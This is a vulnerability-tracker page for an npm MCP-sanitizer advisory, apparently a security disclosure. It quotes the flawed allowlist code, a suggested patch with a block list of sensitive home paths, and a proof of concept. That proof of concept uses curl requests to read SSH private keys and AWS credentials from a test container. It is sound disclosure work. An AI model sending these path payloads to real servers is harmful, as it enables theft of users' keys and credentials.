Patch Forecast
Yellow warning
Plan into this sprint.

GHSA-7w82-6f9j-v9jp

mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

Risk score
55/100
CVSS
7.5 v3.1
Published
28 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even thoug…
Affected
mcp-sanitizer (npm) < 1.4.0
Fix
Upgrade mcp-sanitizer to 1.4.0 or later.
Exploitation
No known exploitation

Story map

Story map: mcp-sanitizerTHE FLAWSTHE FIXGHSA-7w82-6f9j-v9jpFile Path Sanitizer PermitsArbitrary User-Home AbsolutePathsCVSS 7.5GHSA-4mfg-r38w-w8fgURL sanitizer allowslocalhost/IPv6 loopback SSRFbypass via explicit port or…CVSS 8.2FixUpgrade mcp-sanitizer to 1.4.0or later.Who is exposedmcp-sanitizer (npm) < 1.4.0YELLOW · PLAN IT INmcp-sanitizermcp-sanitizer v1.3.3 fails toblock Server-Side RequestForgery (SSRF) targets when alocalhost URL includes an explicitport (e.g.,http://localhost:8080/) or whenan IPv6 loopback/link-local…Where it standsNo known exploitationCONNECTS TOSame weaknessPath traversal (CWE-22)399 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

mcp-sanitizer: Yellow, plan it in. mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicit…

The flaws

  • GHSA-7w82-6f9j-v9jp: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths (CVSS 7.5)
  • GHSA-4mfg-r38w-w8fg: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6 (CVSS 8.2)

The fix

Fix: Upgrade mcp-sanitizer to 1.4.0 or later.

Who is exposed: mcp-sanitizer (npm) < 1.4.0

Where it stands

  • No known exploitation

Connects to

Why it is Yellow

  • CVSS 7.5 high
  • Remotely exploitable without logging in
  • On your watchlist: npm

Affected packages

PackageEcosystemVulnerableFixed in
mcp-sanitizernpm< 1.4.01.4.0

References

Original description

## File Path Sanitizer Permits Arbitrary User-Home Absolute Paths ### Summary `mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request. ### Details The vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist: ```js // src/utils/validation-utils.js:188-196 if (!isInSafeLocation && path.isAbsolute(normalizedPath)) { const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; const isAllowedAbsolute = allowedAbsolutePaths.some(allowed => normalizedPath.toLowerCase().startsWith(allowed.toLowerCase()) ); if (!isAllowedAbsolute) { throw new Error('Absolute path not in allowed safe directory'); } } ``` Because `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged. The dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked. The full data flow from a network request to the vulnerable return value is: 1. **`src/middleware/express.js:538-541`** — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`. 2. **`src/sanitizer/mcp-sanitizer.js:523-524`** — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called. 3. **`src/sanitizer/mcp-sanitizer.js:683-687`** — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. **`src/utils/validation-utils.js:188-196`** — The `/home/` prefix check passes without error. 5. **`src/utils/validation-utils.js:200-201`** — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value. A consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon. **Suggested patch:** ```diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/']; + const sensitiveHomeFragments = [ + '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', + '/.npmrc', '/.env' + ]; @@ + const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase(); + if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) { + throw new Error('Access to sensitive user configuration path not allowed'); + } @@ - const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; + const allowedAbsolutePaths = ['/tmp/', '/var/tmp/']; ``` ### PoC **Environment requirements:** Docker, Python 3, Node.js 20 **Step 1 — Build and start the reproduction container:** ```bash # From the vuln-002/ directory python3 poc.py ``` The script automatically: 1. Copies the `mcp-sanitizer` source into a Docker build context. 2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container. 3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path. 4. Sends the three test requests described below. **Step 2 — Manual HTTP requests (after the container is running on port 13572):** Control test — must be blocked: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}' # Expected: {"blocked": true} ``` Exploit test 1 — SSH private key exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}' # Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."} ``` Exploit test 2 — AWS credentials exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}' # Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."} ``` **Observed results (Phase 2 dynamic reproduction):** ``` [Test 1 — Control] POST /tool {file_path: '/etc/passwd'} => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/) [Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'} => blocked=false, EXPLOIT_SUCCESS=true sanitized_path: /home/victim/.ssh/id_rsa file_content: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002 -----END RSA PRIVATE K

Last activity 28 Oct 2026. Patch Forecast updates every hour.